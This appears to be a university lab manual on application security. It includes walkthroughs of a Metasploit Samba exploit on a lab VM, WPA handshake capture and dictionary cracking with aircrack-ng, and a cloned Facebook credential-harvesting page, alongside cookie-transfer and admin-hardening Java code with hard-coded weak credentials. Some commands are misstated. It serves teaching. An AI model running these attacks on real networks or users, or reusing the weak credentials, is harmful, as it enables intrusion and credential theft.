Thanks to visit codestin.com
Credit goes to www.scribd.com

0% found this document useful (0 votes)
24 views52 pages

Itas Laboratory Manual

The document is a laboratory manual for the B.Tech CSF program at the School of Computer Science and Engineering, detailing various experiments related to IT application security. It includes a list of experiments such as application security, buffer overflow, brute force attacks, and dictionary attacks, along with explanations and methodologies for each. Additionally, it contains sections for student certification and experiment results, emphasizing practical skills in cybersecurity and forensics.

Uploaded by

emmettsteveson2
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
24 views52 pages

Itas Laboratory Manual

The document is a laboratory manual for the B.Tech CSF program at the School of Computer Science and Engineering, detailing various experiments related to IT application security. It includes a list of experiments such as application security, buffer overflow, brute force attacks, and dictionary attacks, along with explanations and methodologies for each. Additionally, it contains sections for student certification and experiment results, emphasizing practical skills in cybersecurity and forensics.

Uploaded by

emmettsteveson2
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 52

LABORATORY MANUAL

Name of School: School of Computer Science and


Engineering

Name of the Department: CyberSecurity and Forensics

Name of the Programme: B.Tech CSF

Name / PRN:

Class: SE(Second Year) CSF

Course / Course Code: IT Application Security Laboratory /


17YCF413

Academic Year: 2024 – 2025

1|Page
INDEX
Exp No. Title Date Signature

1 Study Practical on Application Security, Authentication&


Authorization of any browser, website or any app.

2 Perform Buffer Overflow and Input Validation.

3 Perform Brute Force using METASPLOIT.

4 Perform the on dictionary attacks.

5 Perform Phishing Operation on another system.

6 Generate Cookies and transfer to it different machine.

7 Practical on to avoid unauthorized access to administration


Interface.

8 Perform the Man-in-the-Middle Attack.

9 Encrypt/Decrypt Files in Linux using Ccrypt.

10 Perform cryptography operation using cipher text.

11 Perform cryptography using public, private and symmetric key.

12 Perform different code analysis using IBM Rational AppScan.

2|Page
CERTIFICATE

This is to certify that


Mr. /Miss………………………………………………………………………….
Roll no……………………..... PRN no………………………………………….
Of Class ……………………. Has satisfactorily / unsatisfactorily completed the
Team work of course ……………………………………………………….
In this School during academic year …………………………………….

Course Teacher

3|Page
Experiment no: 1

Title: Study Practical on Application Security, Authentication&amp


Authorization of any browser, website or any app.
--------------------------------------------------------------------------------------------------
Understanding Response Headers
We will look at the client side attacks. These attacks are used to cause harm to the users of a web
application directly. So, by carrying out these attacks, the hacker can directly attack the browser of
the victim. To understand these attacks, we need to know client side languages like HTML and
JavaScript. To understand client side attacks, let us first understand how a web browser works.
We know that when we open a website, let’s say Sandip University, an HTTP request is sent to the
server. The server then processes this request and sends back an HTTP response to our browser.
Now, this HTTP response is parsed by our browser and displayed to us. But, this HTTP
response contains something called HTTP headers. These headers are the metadata that is not shown
to us. But, if we analyse these response headers, we can learn a lot about the way HTTP
responses work.
Now usually the http response headers are very lengthy, and we are not going to each and every line.
We will mainly look at 3 important HTTP response headers. The first line of the header, that tells us
about the nature of the response. The set-cookie header. Content length header. We will look at each one of
these.
Let’s start with the first line of the response header. So, this is a sample HTTP response captured
by BurpSuite.

If we look at the first line of this response, it says, HTTP/1.1 200 OK. We have seen this response
many times in the previous module. The 200 response means that everything is okay.
Now, this is just one type of response. There are a few more important responses that we must know
about.

4|Page
30X: A response in the 300 range is used to signify redirection. For example, if you requested for page 1, but
are being redirected to page 2. In this case, the response
will say, “301 Moved Permanently to Location: page2”.

40X: These responses depict errors that occur due to the user’s fault. The most common response we
have all come across is 404:Not Found error. We get this
response when the page we have requested for does not exist. Another example is the 403:
Forbidden response. This comes when you request for a page that you are not supposed to visit.

50X: These responses occur when there has been some error on the server side. For example, if a
website is not able to connect to its database due to some server side
code error, you might see 500 internal server error.

So, these were some important responses sent in headers. You must remember these ranges and their
meaning well, since by looking at this we
can get an idea of what kind of response the server wants to give us.

Now, after the first line of the response headers, we see some standard HTTP response headers. These
headers basically tell the browser about the response and how to handle it. They are like the
configuration settings sent by a web server to be stored in the browser for later usage. In these
settings, you may choose to study about some of them in detail. These include the Content Security
Policy, Referrer Policy, Allow Origin, X-powered-by, etc. We will not be covering these in our topic,
but you can read more about them online.

There are multiple cases in which a security expert can know about the existence of a
link that is available after login:

1. As part of a White/Grey box exercise, he gets both all the user roles to test.

2. He guesses or brute forces (makes a script that tries all common page names).

3. He reads the source code and finds interesting links in the comments or in the code or even
in other files like JS, CSS, etc. linked inside the source code.

4. He finds a user manual or other screenshots of the application (from search engines or on the
website itself) and reads it to find a screenshot or a step telling the admin to visit a specific
post login page.

5. He uses google dorks like site:x.com inurl:seller/actions and find a page indexed in google.

6. He finds sitemap files like sitemap.xml and robots.txt using google dork site:x.com sitemap
robots.txt which contains a list of links on the website.

7. He uses social engineering on a phone call to the seller support and asks them their present
URL.

Default debug pages:

5|Page
These are also referred to as default files/folders/url that contains crucial information of servers.
Hackers exploit these default files which further helps them to plan their attacks. Below are a few
examples of default files that you may find in a website.

1. Robots.txt - One can find this file in the base directory of a website. This file is used by
server administrators to disallow search engines like Google, Bing, etc.

2. Phpinfo.php - This file is a common debug file in PHP applications that contains a huge
amount of information regarding the server.
3. Users.xml - This file generally contains usernames and passwords which hackers may
exploit.
4. Backup.sql - This default file is crucial as it may contain complete database backup.
5.

6. Config.bak - This may be a configuration file that stores passwords and keys.
7.

8. error_log / error.log - This file contains all error logs of the server which can reveal
vulnerabilities to hackers.
9. server-status and server-info - These are common Apache pages that contain server
information.
10. manager/html - This default url takes you to the Tomcat login page that can further
disclose sensitive server information.
11. phpmyadmin - It is the login page for PHPmyadmin - a software used for managing SQL
databases from the website. Exploiting a database can compromise all the data inside it.

Apart from these, there are many more default files that you should check and search for. You might
not be able to find these default files as they may have been restricted by server administrators.

Scans in Nmap and their role:-


1. Intense scan: This scans top 1000 commonly used ports and then tries to find what exact
service and version of that service is running in an open port. This scan also helps in detecting
the type of operating system.

2. Intense scan + UDP: Normal intense scan only scans TCP ports and using this scan, we can
also scan UDP ports too.

3. Intense scan all ports: Instead of scanning only the 1000 common ports, this will scan all
the possible ports 0-65535 (As it scans all the ports, this scan takes a lot of time to complete).

4. Intense scan no ping: This scan is used where firewalls are placed at the target.

5. Ping scan: This scan only checks if the host is reachable or not. The scan doesn’t scan any
port.

6. Quick scan: This scans lesser ports and does no service version detection. It is faster than
intense scan but can be a bit unreliable.

7. Quick scan plus: It scans fewer ports (same as the quick scan) but does version detection.
The scan is much more aggressive and hence can put a little stress on the network and be a
bit unreliable.

6|Page
8. Regular scan: Runs Nmap with default options i.e. simple port scanning and no service
version detection.

9. Slow comprehensive scan: It is an extremely slow scan that does deep level scanning with
the highest accuracy and least stress on the network.

7|Page
Experiment no: 2

Title: Perform Buffer Overflow and Input Validation.


--------------------------------------------------------------------------------------------------
What is Buffer Overflow
Buffers are memory storage regions that temporarily hold data while it is being transferred from one location
to another. A buffer overflow (or buffer overrun) occurs when the volume of data exceeds the storage capacity
of the memory buffer. As a result, the program attempting to write the data to the buffer overwrites adjacent
memory locations.

For example, a buffer for log-in credentials may be designed to expect username and password inputs of 8
bytes, so if a transaction involves an input of 10 bytes (that is, 2 bytes more than expected), the program may
write the excess data past the buffer boundary.

Buffer overflows can affect all types of software. They typically result from malformed inputs or
failure to allocate enough space for the buffer. If the transaction overwrites executable code, it can
cause the program to behave unpredictably and generate incorrect results, memory access errors, or
crashes.

Below is the C code which demonstrate Buffer Overflow along with the screenshot of the output
when code was run in a compiler:

// A C program to demonstrate buffer overflow


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{

// Reserve 5 byte of buffer plus the terminating NULL.


// should allocate 8 bytes = 2 double words,
// To overflow, I need more than 8 bytes...
char buffer[5]; // If more than 8 characters input
// by user, there will be access
// violation, segmentation fault

// a prompt on how to execute the program... if


(argc < 2)
8|Page
{
printf("strcpy() NOT executed \n");
printf("Syntax: %s <characters>\n", argv[0]);
exit(0);

// copy the user input to buffer, without any


// bound checking a secure version is srtcpy_s() strcpy(buffer,
argv[1]);
printf("buffer content= %s\n", buffer);

// you may want to try strcpy_s() printf("strcpy()


executed...\n");

return 0;
}

9|Page
Experiment no: 3

Title: Perform Brute Force using METASPLOIT.


--------------------------------------------------------------------------------------------------
Here, using Metasploit we are trying to gain root access of the kioptrix – 1 vulnerable machine.

KIOPTRIX-1
In this lab we have to gain root access of kioptrix level-1. We start with the following steps:

1. We have to find the IP Address of the kioptrix machine to gain the access, so we use the command
“netdiscover” in kali linux to find the ip.

2. Now we need to scan the IP for its ports information so as to gain the access through a
vulnerable port. For this we use “nmap”. It will give us all the information of the targets ports.

10 | P a g e
Now we have to select a port from the open ones. For this testing we have chosen “port 139”. This
particular has samba running on it.

Note: Samba is a strong network service for file and print sharing that works on the majority of
operating systems available today.

Now after selecting the port, we have to find the vulnerability of the services running on that port, in our
case we have to first determine the version of samba server and then its exploit.

After finding the version, we have to search for any know vulnerabilities of that particular version.
We can google it or use the command “searchsploit” for it.

11 | P a g e
After finding the vulnerability we again use Metasploit framework for exploitation. We set the exploit,
payloads, target ip and self ip.

After “run” command, the exploit begins and we can see that it is successful and a session has opened
between our OS and kioptrix. We check which user is active on the kioptrix machine by using the command
“whoami” and we get the answer “root”.
We can now change any and all settings of the kioptrix machine like for example, we will change
the login password and try it out on the actual machine.

12 | P a g e
In the above step we changed the password of kioptrix machine. Now let us see if it is actually
changed by loggin.

As we can see that we are able to login on the kioptrix machine, it proves that we have gained access of that particular
machine and we can do anything from our machine to kioptrix machine remotely.

CONCLUSION :
Here we have successfully gained access of the vulnerable machine using metasploit and brute forcing.

13 | P a g e
Experiment no: 4

Title: Perform the on dictionary attacks.


--------------------------------------------------------------------------------------------------

What's a dictionary attack

A dictionary attack is a method that consists of breaking into a password-protected computer or server (in
this case a Wi-Fi network) by systematically entering every word in a dictionary as a password.

What is this tutorial and what isn't

You won't magically have free Wi-Fi for the rest of your life, if that's what you're looking for. This is
just a tutorial with educational purposes that shows how to execute dictionary attacks to a normal Wi-Fi
network easily with Kali Linux and Aircrack. You need to know that dictionary based attacks needs a good
dictionary, otherwise this kind of attacks are generally innefective as not everybody uses only numbers as
passwords and that's precisely one of the goals of this article: you can warn clients, friends etc. that their Wi-
Fi password is really weak and shameful.

Requirements
 You need, obviously Kali Linux (at least 2016.2) installed and working.
 A wireless adapter capable of injection/monitor mode. Some computers have network cards
capable of this from the factory. If it isn't available you'll have to buy an external one.
 A wordlist to attempt to "crack" the password once it has been captured (if you don't have
one, create your own in the step 7)

Let's get started !

1.Verify your Wi-Fi network interface

As first step, you need to check if you have an available Wi-Fi card in your computer that allow you to
continue with the hack, to list the interfaces use the ifconfig command. ifconfig is used to configure, or view
the configuration of, a network interface. Open a new terminal and execute the following command to list all
the network interfaces of your computer:

ifconfig

14 | P a g e
Then you should get an output similar to:

wlan0 is the name of the first wireless network interface on the system. Additional wireless interfaces
would be named wlan1, wlan2, etc. The name is important and you should remember it, in this case
we only have 1 Wi-Fi interface, therefore we are going to use the wlan0 name in the next step.

2.Spoof the MAC address of the wlan interface


Now you need to change the MAC address of the Wi-Fi interface to continue with the hack, but before you
need to bring down the interface if it's (obviously) active. Use the command ifconfig [interface name] down
to bring an interface down. In this case as the name of our interface is wlan0, the command to execute would
be:
ifconfig wlan0 down
Once the interface is down, you need to change the MAC address of your device using
macchanger.

Execute the following command to change the MAC address of your interface:

macchanger -m 00:11:22:33:44:55 wlan0

This MAC address is known as it's always spoofed. After the execution of the command, the previous MAC
address and the new one will be printed as reference:

15 | P a g e
Now that the MAC address is changed, bring up the interface again using the following command:

ifconfig wlan0 up

You can verify it using ifconfig one more time if you want:

3.Set the Wi-Fi interface into monitor mode

Monitor mode is one of the seven modes that 802.11 wireless cards can operate in: Master (acting as
an access point), Managed (client, also known as station), Ad hoc, Mesh, Repeater, Promiscuous,
and Monitor mode. The monitor mode sniffes the packets in the air without connecting (associating)
with any access point. As this mode doesn't need association to AP needed (and no authentication).

16 | P a g e
Enable the monitor mode with the following command:

airmon-ng start wlan0

In case you get an exception, a warning or a message that some processes could cause troubles during
the execution of this process, be sure to stop the processes using the following command:

airmon-ng check kill

Then execute again airmon-ng start wlan0:

4.Retrieve WPA Handshake

We need to copy the WPA Handshake of the Wi-Fi router to hack it (as a dictionary attack that waits till the
signal goes to the router, then comes back, fails and repeats the process again and again is very unproductive
... ). A handshake is basically an automatic process of negotiation between two entities, usually your
computer and the network server it wants to connect to. It's the procedure that sets the configurations and
parameters needed to make the communication channel run smoothly without manually putting in
specifications and whatnot every time you connect heterogeneous systems or machines together.

As first, you need to dump all the Wi-Fi signals available in the environment. To do it we are going
to use airodump-ng that expects as first parameter the name of the interface in monitor mode. Execute
the following command to dump the Wi-Fi networks:

airodump-ng wlan0mon

This command will dump a table with all the available Wi-Fi networks similar to:

17 | P a g e
#|BSSID |PWR |Beacons | #Data | #/s |CH |MB |ENC |CIPHER
|AUTH | ESSID |
#|C8:0E:14:03:B0:EA |-34 |38 | 0 | 0 |1 |54e. |WPA2 |CCMP
|PSK | The network name |

From this table you should copy the information (the row) about the network that you want to hack
on in the notepad as you will need this information later (channel-CH and BSSID).

Now let's copy the WPA Handshake with airodump. The following command:

airodump-ng -c [channel] --bssid [BSSID] -w [path/to/folder/output]


[interface-name-in-monitor-mode]

Will copy the WPA Handshake of the modem that you want providing the required parameters.
The channel and BSSID arguments can be retrieved from the previously obtained using airodump-
ng wlan0mon. The w argument needs to be the path of the folder in which you want to save the
Handshake of the modem, lastly the name of the interface in the monitor mode (wlan0mon). So, our
command to execute would look like:

airodump-ng -c [channel] --bssid C8:0E:14:03:B0:EA /root/hacking/ wlan0mon

We are going to save the files into /root/hacking (this folder needs to be previously created), you
are free to save it whereever you want as long as you remember the path later. This process could
take several minutes, in our case it took just 4 minutes, however this may vary in every network
and devices:

Tip

To speed the process of obtain the WPA Hanshake, you can use a mobile device or other computer
that is connected to the Wi-Fi network. Just turn off the Wi-Fi in your device and turn it on again,
this should speed the process.

Once the process show the WPA hanshake, the required files to start the dictionary attack. As
providen in our example command, the files generated should be stored in /root/hacking/:

18 | P a g e
The number of files may vary in your computer.

5.Deauthenticate with airplay

To capture the WPA/WPA2 handshake, we need to force the client to reauthenticate. This can be
achieved with aireplay, this attack sends disassociate packets to one or more clients which are
currently associated with a particular access point.

The command to do it is:

aireplay-ng -0 [number-of-packages] -a [BSSID] [interface-name-in-monitor- mode]

The recommended number of packages for this kind of attacks is 10 (you need to provide the BSSID
of the modem and the name of the monitor interface too). The command to execute should look
like:

airodump-ng -c [channel] --bssid C8:0E:14:03:B0:EA /root/hacking/ wlan0mon

That should generate the following output (note that in the image the BSSID is wrong, it should be
C8:0E:14:03:B0:EA):

19 | P a g e
6.Create (or use) a passwords dictionary

Before proceeding with the attack, you need a passwords dictionary. This dictionary is basically a
text file (filename.txt) with words that aircrack should use to access the network, so basically
the following text is a password dictionary (every password is divided by a new line):

hello possible_password1
possible_password2
hello123
ourcodeworld_password123
dummypassword321

For educational purposes, as this is a place to learn to code, we are going to write some C code.
Create a new file in the workspace (in our case /root/hacking) with the name
passwords_generator and extension c (passwords_generator.c). This file will contain the
following C code that generates a number sequence from 00000000 to 00009999 (a number for
every line):

Important

The bigger the number, the more the combinations to try, therefore more time take the process to
test.
#include<stdio.h> int
main()
{
int i;
for (i = 0; i<= 9999;i++){
printf("%08d\n",i);
}
return 0;
}

This should generate an output like:

00000001
00000002
00000003
00000004
...
00009999

You only need to save the previous output into a file that will be used as a dictionary for our attack.
Execute the following command to save it to a passwords.txt file (note that the path is up to you,
we still using /root/hacking for it):

Note

gcc is a *nix-based C compiler usually operated via the command line, by default available in Kali
Linux

# 1. Compile and send output


gcc /root/hacking/passwords_generator.c

# 2. Save output to file


20 | P a g e
./a.out >> /root/hacking/passwords.txt

The trick is, that in this "passwords dictionary" there are 9999 possible combinations that will be
tried. Obviously if the network has a secure password, not any of the generated "numbers
passwords" should work, so if you are only testing, you can add the password of your Wi-Fi
network to test it in the next step.

Your dictionary is just a text file in which every line is a possible password that aircrack will try to
access the network later, in order to test if aircrack really works, you can simply create the
passwords.txt file with the password of your Wi-Fi network inside and in the next step, then the
access to the network should be granted (we'll write our own password too to prove that it works).

You can use obviously a "passwords database" to try with different combinations. Check out this
question in the Security Forum of Stack Exchange that offers a lot of sources to get started with a
passwords dictionary if you don't want to use simple numbers.

7.Start dictionary attack with Aircrack

Finally, let's start our dictionary attack using the following command:

aircrack-ng -a2 -b [BSSID] -w [POSSIBLE_PASSWORDS_FILE.TXT]


[PATH_TO_WPA_HANDSHAKE_FILES*.cap]

You need to provide the BSSID, then the w argument that specifies the txt file with all the passwords
to try and then the path to the .cap files generated while we retrieved the

handshake in the step 5. For example, replacing the values with our examples, the command should
look like:
aircrack-ng -a2 -b C8:0E:14:03:B0:EA -w /root/hacking/passwords.txt
/root/hacking/*.cap

The execution of the command should start the dictionary attack and will try to access the network with
every single password in our dictionary. The duration of the process will vary according to the number of
passwords in your dictionary.
If the password is found in the dictionary (if found in the dictionary generated by our C code, then it was a
really bad password ... ) the message KEY FOUND will appear.

That's it, you've just learned how to perform a dictionary attack to a Wi-Fi network using Aircrack
21 | P a g e
Experiment no: 5

Title: Perform Phishing Operation on another system.


--------------------------------------------------------------------------------------------------
Phishing is a form of cyber-attack which typically relies on email or other electronic communication
methods such as text messages and phone calls.

Phishing attack using kali Linux is a form of a cyber attack that typically relies on email or other
electronic communication methods such as text messages and phone calls. It is one of the most
popular techniques of social engineering. Where hackers pose as a trustworthy organization or entity
and trick users into revealing sensitive and confidential information.

We will create a Facebook phishing page using Social Engineering Toolkit which is a preinstalled
functionality in Kali Linux OS. The phishing link can be sent to any user on the same Local Area
Network as you and the data that they enter on the fraudulent page will be stored in a file on the
attacker’s machine.
Social Engineering Toolkit or SET for short is the standard for social engineering testing among
security professionals and even beginners must have a basic idea about using the tool. Basically, it
implements a computer-based social engineering attack.

Steps of Phishing Attack:

 Open the terminal window in Kali and make sure you have root access as „setoolkit‟ needs you to have root
access
 Type „setoolkit‟ in the command line.

22 | P a g e
You will be warned that this tool is to be used only with company authorization or for educational
purposes only and that the terms of service will be violated if you use it for malicious purposes.

Type y to agree to the conditions and use the tool

A menu shows up next. Enter 1 as the choice as in this demo we attempt to demonstrate a social engineering
attack.

Under Social Engineering, there are various computer-based attacks and SET explains each in one line
before asking for a choice.
23 | P a g e
Enter 3 which will select the „Credential Harvester Attack Method‟ as the aim is to obtain user credentials
by creating a bogus page that will have certain form fields.

Now, the attacker has a choice to either craft a malicious web page on their own or to just clone an
existing trustworthy site.

Enter 2 in order to select „Site Cloner‟

This might take a moment as SET creates the cloned page.

Now you need to see the IP address of the attacker machine. Open a new terminal window and write ifconfig
Copy the IP address stated in „inet‟ field

24 | P a g e
SET will ask you to provide an IP where the credentials captured will be stored. Paste the address
that you copied in the earlier step.
Since we chose to clone a website instead of a personalized one, the URL to be cloned is to be
provided. In this example, it is www.facebook.com
Social Engineering Toolkit needs Apache Server running as captured data is written to the root
directory of Apache. Enter y when prompted about starting the Apache process.

The setup for a phishing attack is complete, you have cloned Facebook and hosted it on the server.
SET informs us of the directory at which the captured data will be stored.

25 | P a g e
The IP address is usually hidden carefully by using URL shortener services to change the URL so
that it is better hidden and then sent in urgent-sounding emails or text messages.

 Go to browser and type http://yourIP (eg: http://192.168.0.108) Note: I am writing this article from
Maharashtra, India hence Facebook is in the native language Marathi.

If an unsuspecting user fills in their details and clicks on ‘Log In’, the fake page takes them to the
actual Facebook login page. Usually, people tend to pass it off as a glitch in FB or an error in their
typing.

Finally, reap the benefits. Go to /var/www/html and you can see the harvester file created there.

26 | P a g e
Hope this guide gave you a basic idea of how phishing attacks work.

CONCLUSION

Phishing is constantly evolving to entrap innocent computer users. Recommended safety tips will be
to always check the URL of a website in the browser and use two-factor authentication as it provides
an extra security layer to your account.

27 | P a g e
Experiment no: 6

Title: Generate Cookies and transfer to it different machine.


--------------------------------------------------------------------------------------------------
Generating and Transferring Cookies in Java
In Java, cookies are typically managed using Servlets and the HttpServletResponse and
HttpServletRequest classes. Below is a detailed breakdown of how to create, export, and transfer
cookies between different machines.

1. Generating Cookies in Java

Cookies can be created using the Cookie class in Java Servlets.

Example: Creating and Sending a Cookie in Java Servlet

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class CookieGeneratorServlet extends HttpServlet {


protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {

// Create a new cookie


Cookie userCookie = new Cookie("username", "LordSudeep");

// Set cookie expiration time (1 year)


userCookie.setMaxAge(365 * 24 * 60 * 60);

// Set the path (makes it available throughout the domain)


userCookie.setPath("/");

// Add the cookie to the response


response.addCookie(userCookie);

response.getWriter().println("Cookie Created Successfully!");


}
}

Explanation:

28 | P a g e
 The cookie "username" is assigned "LordSudeep".
 setMaxAge(365 * 24 * 60 * 60) ensures the cookie persists for one year.
 setPath("/") makes the cookie accessible across the entire domain.

2. Exporting Cookies from a Machine


To transfer cookies, you need to retrieve them from a request and save them in a transferable format.

Example: Reading and Exporting Cookies

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class CookieExporterServlet extends HttpServlet {


protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {

Cookie[] cookies = request.getCookies();

if (cookies != null) {
for (Cookie cookie : cookies) {
response.getWriter().println("Cookie Name: " + cookie.getName());
response.getWriter().println("Cookie Value: " + cookie.getValue());
}
} else {
response.getWriter().println("No cookies found!");
}
}
}

Explanation:

 request.getCookies() retrieves all cookies from the incoming request.


 The cookies can be saved to a file or sent to another machine via an API.

3. Transferring Cookies to Another Machine


Cookies can be transferred by sending them via an API, saving them in a database, or using files.

Method 1: Manually Transfer Cookies


1. Copy the exported cookie values.
2. Use them in another Java servlet.

Method 2: Send Cookies to Another Machine via API

29 | P a g e
You can send cookies as JSON to another system.

Example: Sending Cookies via API

import org.json.JSONObject;
import javax.servlet.http.*;
import java.io.IOException;
import java.io.PrintWriter;

public class CookieTransferServlet extends HttpServlet {


protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException {

Cookie[] cookies = request.getCookies();


JSONObject json = new JSONObject();

if (cookies != null) {
for (Cookie cookie : cookies) {
json.put(cookie.getName(), cookie.getValue());
}
}

response.setContentType("application/json");
PrintWriter out = response.getWriter();
out.print(json.toString());
}
}

Explanation:

 Cookies are converted into JSON format and sent as a response.


 This can be received on another machine and used to recreate cookies.

4. Importing Cookies to Another Machine


Once cookies are transferred, they must be re-added to the new machine.

Example: Importing Cookies from JSON and Recreating Them

import javax.servlet.http.*;
import java.io.IOException;
import org.json.JSONObject;

public class CookieImporterServlet extends HttpServlet {


protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws IOException {

// Example JSON: {"username": "LordSudeep"}


30 | P a g e
String jsonData = request.getParameter("cookieData"); // JSON input from request
JSONObject json = new JSONObject(jsonData);

for (String key : json.keySet()) {


Cookie cookie = new Cookie(key, json.getString(key));
cookie.setMaxAge(365 * 24 * 60 * 60);
cookie.setPath("/");
response.addCookie(cookie);
}

response.getWriter().println("Cookies imported successfully!");


}
}

Explanation:

 Receives cookies as a JSON payload.


 Reconstructs them on the new machine.

5. Security Considerations
 HttpOnly & Secure Cookies: Some cookies cannot be transferred if they have security flags
enabled.
 Session Cookies: These expire when the browser is closed and cannot be transferred.
 Domain Restrictions: Ensure the new machine is allowed to read and set cookies.

Conclusion
By following these steps, cookies can be:

1. Generated in Java (HttpServletResponse).


2. Exported from a browser or API (HttpServletRequest).
3. Transferred to another system via JSON or API.
4. Imported to a new machine and used for authentication or session management.

This method allows seamless migration of cookies between machines while maintaining security!

31 | P a g e
Experiment no: 7

Title: Practical on to avoid unauthorized access to administration Interface.


------------------------------------------------------------------------------------------

Avoiding Unauthorized Access to Administration Interfaces in Java


When developing an administration interface in Java, securing it against unauthorized access is crucial to
prevent security breaches. Below are best practices and Java-based implementations for securing admin
interfaces.

1. Implement Authentication and Authorization

a. Use Java Authentication (Spring Security)


Spring Security is a robust framework that provides authentication and authorization mechanisms.

Example: Implementing Authentication with Spring Security

import org.springframework.context.annotation.Configuration;
import
org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBui
lder;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import
org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter
;

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/admin/**").authenticated() // Protect admin routes
.and()
.formLogin()
.loginPage("/login")
.defaultSuccessUrl("/admin/dashboard")
.permitAll()
.and()
.logout()
.logoutUrl("/logout")
.logoutSuccessUrl("/login?logout");
}

@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
32 | P a g e
auth.inMemoryAuthentication()
.withUser("admin").password("{noop}password").roles("ADMIN");
}
}

Explanation:
 /admin/** routes require authentication.
 Users must log in before accessing admin features.
 inMemoryAuthentication() sets up a default admin user (admin/password).

2. Restrict Access Based on IP Address


Only allow access from trusted IP addresses.

Example: Filter Requests Based on IP

import java.io.IOException;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class IPFilter implements Filter {


private static final String ALLOWED_IP = "192.168.1.100"; // Trusted IP

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)


throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
String remoteIP = req.getRemoteAddr();

if (!ALLOWED_IP.equals(remoteIP)) {
((HttpServletResponse) response).sendError(HttpServletResponse.SC_FORBIDDEN,
"Access Denied");
return;
}
chain.doFilter(request, response);
}

public void init(FilterConfig filterConfig) {}


public void destroy() {}
}

Explanation:
 Checks if the request is coming from a trusted IP.
 Denies access if the IP does not match.
33 | P a g e
3. Secure Communication with HTTPS
Use HTTPS to encrypt data transmission.

Steps to Enable HTTPS in Tomcat:


1. Generate SSL Certificate:

bash

keytool -genkey -alias tomcat -keyalg RSA -keystore keystore.jks -validity 365 -storepass changeit

2. Configure server.xml:

xml

<Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"

maxThreads="200" scheme="https" secure="true"

keystoreFile="conf/keystore.jks"

keystorePass="changeit"

clientAuth="false" sslProtocol="TLS"/>

3. Restart Tomcat and access via https://localhost:8443/admin

4. Implement Role-Based Access Control (RBAC)

Example: Secure Admin Routes Based on Roles

@Configuration
@EnableWebSecurity
public class RoleBasedSecurityConfig extends WebSecurityConfigurerAdapter {

@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/admin/**").hasRole("ADMIN") // Only ADMIN role can access
.anyRequest().authenticated()
.and()
.formLogin()
.and()
.logout();
}

@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
auth.inMemoryAuthentication()

34 | P a g e
.withUser("admin").password("{noop}adminpass").roles("ADMIN")
.and()
.withUser("user").password("{noop}userpass").roles("USER");
}
}

Explanation:

 Only users with the "ADMIN" role can access /admin/**.


 General users are restricted.

5. Prevent Brute-Force Attacks

a. Lock Accounts After Failed Attempts


import
org.springframework.security.authentication.event.AuthenticationFailureBadCredentialsEvent;
import org.springframework.context.ApplicationListener;
import org.springframework.stereotype.Component;

import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.atomic.AtomicInteger;

@Component
public class LoginAttemptListener implements
ApplicationListener<AuthenticationFailureBadCredentialsEvent> {

private static final int MAX_ATTEMPTS = 5;


private ConcurrentHashMap<String, AtomicInteger> loginAttempts = new
ConcurrentHashMap<>();

public void onApplicationEvent(AuthenticationFailureBadCredentialsEvent event) {


String username = event.getAuthentication().getName();
loginAttempts.putIfAbsent(username, new AtomicInteger(0));

int attempts = loginAttempts.get(username).incrementAndGet();


if (attempts >= MAX_ATTEMPTS) {
System.out.println("Account locked for user: " + username);
}
}
}

Explanation:
 Tracks failed login attempts.
 Locks accounts after 5 failed attempts.

35 | P a g e
6. Enable Session Security

a. Auto-Logout Inactive Users

import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;

public class SessionTimeoutListener implements HttpSessionListener {


public void sessionCreated(HttpSessionEvent event) {
event.getSession().setMaxInactiveInterval(900); // 15 minutes
}

public void sessionDestroyed(HttpSessionEvent event) {


System.out.println("Session expired.");
}
}

Explanation:
 Logs out inactive users after 15 minutes.

7. Audit Logs for Admin Access

a. Log Admin Actions

import org.aspectj.lang.annotation.AfterReturning;
import org.aspectj.lang.annotation.Aspect;
import org.springframework.stereotype.Component;
import java.util.logging.Logger;

@Aspect
@Component
public class AdminActivityLogger {
private static final Logger logger = Logger.getLogger(AdminActivityLogger.class.getName());

@AfterReturning("execution(* com.example.controller.AdminController.*(..))")
public void logAdminActivity() {
logger.info("Admin activity recorded.");
}
}

Explanation:
 Logs admin actions using Aspect-Oriented Programming (AOP).

36 | P a g e
8. Secure API Endpoints

a. Use JWT Authentication


import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.Date;

public class JWTUtil {


private static final String SECRET_KEY = "SuperSecretKey";

public static String generateToken(String username) {


return Jwts.builder()
.setSubject(username)
.setIssuedAt(new Date())
.setExpiration(new Date(System.currentTimeMillis() + 86400000)) // 1 day
.signWith(SignatureAlgorithm.HS256, SECRET_KEY)
.compact();
}
}

Explanation:
